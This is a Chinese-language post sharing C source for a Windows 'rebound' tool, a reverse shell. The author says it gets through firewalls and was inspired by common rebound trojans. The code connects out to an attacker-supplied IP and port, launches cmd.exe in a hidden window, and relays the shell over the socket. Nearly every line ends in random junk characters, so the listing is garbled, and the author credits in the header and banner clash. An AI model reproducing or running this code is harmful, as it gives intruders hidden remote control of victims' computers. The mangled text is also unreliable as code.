这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0b|zk <
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/* ============================== H-5<S@8
Rebound port in Windows NT %_M2N.n
By wind,2006/7 =Agg_h
===============================*/ %$ceJ`%1e
#include ^ 4hO8
#include [rYT
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#pragma comment(lib,"wsock32.lib") !?FK We
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void OutputShell(); Ff4*IOZ}(
SOCKET sClient; j
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q(@IK&v
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void main(int argc,char **argv) z; }6f
{ wz
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WSADATA stWsaData; n(;:*<Rh
int nRet; mY&ud>,U:
SOCKADDR_IN stSaiClient,stSaiServer; = (,
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if(argc != 3) ; y.E!
{ \gO,hST
printf("Useage:\n\rRebound DestIP DestPort\n"); Iw=Sq8
return; }nx=e#[g%2
} T1Ta?b
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WSAStartup(MAKEWORD(2,2),&stWsaData); 40P) 4w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c6AWn>H
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stSaiClient.sin_family = AF_INET; Tupiq
stSaiClient.sin_port = htons(0); (Xxn\*S
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); % 4 ~l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ${&5]!E[>D
{ m:CTPzAt
printf("Bind Socket Failed!\n"); \E4B&!m
return; ~Gv#iRi>
} 15H6:_+=0
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stSaiServer.sin_family = AF_INET; L2z2}U=<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -V<t-}h.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "4xfrlOc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w7kJg'X/6
{ hkL5HzWn
printf("Connect Error!"); V6a``i]
return; Q5+_u/
} LLAa1Wq
OutputShell();
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} pK&I^r
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void OutputShell() ^CT&0
{ yX/";Oe
char szBuff[1024]; NYB[Zyp
SECURITY_ATTRIBUTES stSecurityAttributes; )LHj+B
OSVERSIONINFO stOsversionInfo; '3(l-nPiG^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \ZXLX'-
STARTUPINFO stStartupInfo; ,TC;{ $O5
char *szShell; x8#ODuH
PROCESS_INFORMATION stProcessInformation; SAv<&
unsigned long lBytesRead; `k{& /]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); omX?Bl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QBJ3iQs1
stSecurityAttributes.lpSecurityDescriptor = 0; j6}R7$JR
stSecurityAttributes.bInheritHandle = TRUE; ZU&"73
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RMYP"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n-;y*kD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IO$z%r7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b`mj_b
stStartupInfo.wShowWindow = SW_HIDE; *JCQu0
stStartupInfo.hStdInput = hReadPipe; *wbZ;rfF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A7XnHPIw
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GetVersionEx(&stOsversionInfo); !sSQQo2Sv
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switch(stOsversionInfo.dwPlatformId) ~|+zJ5
{ !>^JSHR4t
case 1: E_ucab-Fi
szShell = "command.com"; |Rzy8j*
break; Q[ieaL6&
default: T~8
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szShell = "cmd.exe"; t2{~bzq1X
break; /uqu32;o
} i, n D5@#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VDEv>u4
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send(sClient,szMsg,77,0); j8 ,n7!G
while(1) >um!Eo
{ V L( <
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V,7%1TZ:
if(lBytesRead) mz7l'4']+
{ wwd'0P`/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2h^WYpCm
send(sClient,szBuff,lBytesRead,0); e&It
} rJfqA@
else - 0HkT Y
{ uV6g[J
lBytesRead=recv(sClient,szBuff,1024,0); yl]FP@N(
if(lBytesRead<=0) break; 2YwVU.*>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y>VcgLIB
} do/)~9[4\
} "E!mva*NU
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return; f`<FT'A
}